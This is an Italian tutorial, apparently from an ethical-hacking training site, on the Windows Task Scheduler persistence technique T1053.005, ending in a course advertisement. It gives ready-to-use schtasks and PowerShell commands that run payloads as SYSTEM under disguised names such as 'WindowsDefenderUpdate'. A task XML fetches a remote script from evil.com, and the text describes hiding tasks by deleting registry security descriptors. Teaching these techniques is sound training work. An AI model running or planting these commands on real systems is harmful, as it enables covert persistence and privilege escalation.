Task Scheduler: Scheduled Task/Job - Scheduled Task (T1053.005)

La pianificazione di attività su Windows rappresenta una delle tecniche più versatili nell'arsenale di un attaccante. Questa metodologia sfrutta il Task Scheduler di Windows per eseguire codice malevolo in modo automatico e persistente, mascherando le operazioni dietro processi legittimi del sistema operativo.

La tecnica si manifesta in tre fasi distinte della kill chain: TA0002 - Execution per l'esecuzione iniziale del payload, TA0003 - Persistence per mantenere l'accesso anche dopo riavvii del sistema, e TA0004 - Privilege Escalation quando le attività vengono configurate per girare con privilegi SYSTEM. Con 54 gruppi APT documentati che la utilizzano attivamente, 118 strumenti malevoli che la integrano e 12 campagne di alto profilo che l'hanno sfruttata, questa tecnica rappresenta uno dei vettori più critici da monitorare.

Gli attaccanti accedono al Task Scheduler attraverso molteplici canali: dalla riga di comando con schtasks.exe, tramite l'interfaccia grafica negli strumenti di amministrazione, utilizzando wrapper .NET personalizzati, o attraverso le API netapi32 e Windows Management Instrumentation. I più sofisticati creano addirittura task "nascosti" eliminando i Security Descriptor dal registro, rendendoli invisibili alle query standard.

Per comprendere come gli avversari sfruttano questa tecnica, iniziamo con l'approccio più diretto. Il comando base per creare un task persistente è:

schtasks /create /tn "SystemUpdate" /tr C:\Windows\Temp\payload.exe /sc ONLOGON /ru SYSTEM /f

Questo crea un task che esegue il payload ad ogni login con privilegi SYSTEM. APT29 ha raffinato questa tecnica utilizzando task hijacking: invece di crearne di nuovi, modificano task esistenti e legittimi per passare inosservati.

Per replicare l'approccio di Lazarus Group, che utilizza script XSL remoti, create prima un file XML con la definizione del task:

<?xml version="1.0"?>
<Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Triggers><CalendarTrigger><StartBoundary>2024-01-01T09:00:00</StartBoundary></CalendarTrigger></Triggers>
  <Actions><Exec><Command>wscript.exe</Command><Arguments>//b //e:jscript https://evil.com/payload.xsl</Arguments></Exec></Actions>
</Task>

Quindi importatelo con: schtasks /create /xml task.xml /tn "MicrosoftSync"

L'approccio PowerShell offre maggiore flessibilità. Il cmdlet Invoke-CimMethod permette di creare task attraverso WMI, bypassando alcune detection:

$Action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-enc <base64_payload>"
$Trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -Action $Action -Trigger $Trigger -TaskName "WindowsDefenderUpdate" -User "SYSTEM"

Per nascondere completamente un task come fa FIN7, eliminate il Security Descriptor dal registro dopo la creazione. Questo richiede privilegi SYSTEM e manipolazione diretta delle chiavi in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree.

Un approccio avanzato prevede l'uso di COM per la creazione programmatica. Create uno script VBScript che utilizza l'oggetto Schedule.Service per maggiore controllo sui parametri del task, inclusa la possibilità di impostare trigger multipli e condizioni complesse di esecuzione.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo